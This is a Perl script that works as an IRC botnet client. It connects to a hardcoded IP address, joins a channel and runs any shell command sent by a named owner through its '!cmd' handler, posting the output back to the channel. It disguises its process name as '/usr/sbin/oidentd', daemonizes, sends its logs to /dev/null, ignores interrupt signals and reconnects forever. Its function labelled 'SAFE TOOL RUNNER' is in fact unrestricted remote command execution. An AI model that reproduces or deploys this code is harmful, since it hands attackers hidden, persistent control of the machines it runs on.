#!/usr/bin/env perl
use strict;
use warnings;
use IO::Socket::INET;
use POSIX qw(setsid WNOHANG);
use Time::HiRes qw(sleep);

# ---------------- CONFIG ----------------
my $pidfile  = "/tmp/irc_bot.pid";
my $logfile  = "/dev/null";

my $server   = "77.90.185.243";
my $port     = 6667;
my $channel  = "#bt";
my $owner    = "MAD";
my $fake_name = "/usr/sbin/oidentd";

# ---------------- NICK / IDENT ----------------
sub random_suffix { int(rand(9000)) + 1000 }
my $mynick   = "zd-" . random_suffix();
my $ident    = "Perlt";
my $realname = "how how";

# ---------------- SIGNAL HANDLING ----------------
$SIG{INT}  = sub { print "Ctrl+C ignored. Use --stop to terminate the bot.\n"; };
$SIG{TERM} = sub {
    print "SIGTERM received, shutting down cleanly...\n";
    unlink $pidfile if -e $pidfile;
    exit 0;
};
$SIG{HUP}  = sub { print "SIGHUP ignored.\n"; };
$SIG{CHLD} = sub { while ((my $pid = waitpid(-1, WNOHANG)) > 0) {} };

# ---------------- DAEMON CONTROL ----------------
if (@ARGV && $ARGV[0] eq "--stop") {
    if (-e $pidfile) {
        open my $fh, "<", $pidfile or die "Can't open PID file: $!";
        my $pid = <$fh>;
        close $fh;
        chomp $pid;

        if ($pid =~ /^\d+$/) {
            kill 'TERM', $pid;
            unlink $pidfile;
            print "Stopped bot PID $pid\n";
        } else {
            print "Invalid PID file\n";
        }
    } else {
        print "No PID file found\n";
    }
    exit;
}

if (@ARGV && $ARGV[0] eq "--daemon") {
    my $pid = fork();
    if ($pid) { print "Bot started in background PID $pid\n"; exit; }
    setsid() or die "setsid failed: $!";
    my $pid2 = fork();
    if ($pid2) { exit; }

    open STDIN,  '<', '/dev/null';
    open STDOUT, '>>', $logfile;
    open STDERR, '>>', $logfile;

    $0 = $fake_name;
}

# ---------------- PID FILE ----------------
open my $pfh, ">", $pidfile or die "Can't write PID file: $!";
print $pfh "$$\n";
close $pfh;

# ---------------- SAFE TOOL RUNNER ----------------
sub run_tool {
    my ($tool, $args) = @_;
    $args //= "";
    my $output = "";

    if ($tool eq "uname")     { $output = `uname -a`; }
    elsif ($tool eq "uptime") { $output = `uptime`; }
    elsif ($tool eq "whoami") { $output = `whoami`; }
    elsif ($tool eq "ls")     { $output = `ls -la $args 2>&1`; }
    else { $output = `$tool $args 2>&1`; }

    $output //= '';
    $output =~ s/\r?\n/ | /g;
    $output =~ s/\s+/ /g;
    $output = substr($output, 0, 350) . "..." if length($output) > 350;

    return $output;
}

# ---------------- CONNECT FUNCTION ----------------
sub connect_to_server {
    my $sock;
    while (1) {
        $sock = IO::Socket::INET->new(
            PeerAddr => $server,
            PeerPort => $port,
            Proto    => 'tcp',
            Timeout  => 30
        );

        if ($sock) {
            print "Connected to $server:$port\n";
            last;
        } else {
            print "Connection failed, retrying in 10s...\n";
            sleep(10);
        }
    }
    return $sock;
}

# ---------------- MAIN LOOP ----------------
while (1) {

    my $sock = connect_to_server();

    sub quote {
        my ($msg) = @_;
        print $sock "$msg\r\n";
    }

    quote("NICK $mynick");
    quote("USER $mynick 8 $ident :$realname");

    while (my $line = <$sock>) {
        chomp $line;
        my @p = split ' ', $line;
        my $cmd = $p[1] // '';

        # PING
        if ($p[0] && $p[0] eq "PING") {
            (my $srv = $p[1]) =~ s/^://;
            quote("PONG $srv");
            next;
        }

        # WELCOME
        if ($cmd eq "001") {
            quote("JOIN $channel");
            next;
        }

        # NICK collision
        if ($cmd eq "433" || $cmd eq "432" || $cmd eq "437") {
            $mynick = "zd-" . random_suffix();
            quote("NICK $mynick");
            next;
        }

        # PRIVMSG
        if ($cmd eq "PRIVMSG") {

            my $src = $p[0];
            my ($nick, $userhost) = $src =~ /^:([^!]+)![^@]+@(.+)$/;
            next unless defined $nick && defined $userhost;

            # SECURITY FILTER
            next unless $nick eq $owner;
            next unless $userhost =~ /ircd2\.rotero\.vc$/;

            my $text = join(' ', @p[3..$#p]);
            $text =~ s/^://;

            # SAY
            if ($text =~ /^!say\s+(.+)/i) {
                quote("PRIVMSG $channel :$1");
            }

            # shortcut
            if ($text =~ /^zd-\d+\s+(\S+)(.*)$/i) {
                $text = "!cmd $1$2";
            }

            # CMD
            if ($text =~ /^!cmd\s+(\S+)(.*)$/i) {
                my $tool = lc $1;
                my $args = $2 // '';
                $args =~ s/^\s+//;

                my $pid = fork();
                if (!defined $pid) {
                    quote("PRIVMSG $channel :fork failed");
                    next;
                }

                if ($pid == 0) {
                    my $out = run_tool($tool, $args);
                    quote("PRIVMSG $channel :$out");
                    exit 0;
                }
            }
        } # END PRIVMSG
    } # END READ LOOP

    print "Disconnected, reconnecting in 10s...\n";
    close($sock);
    sleep(10);

} # END MAIN LOOP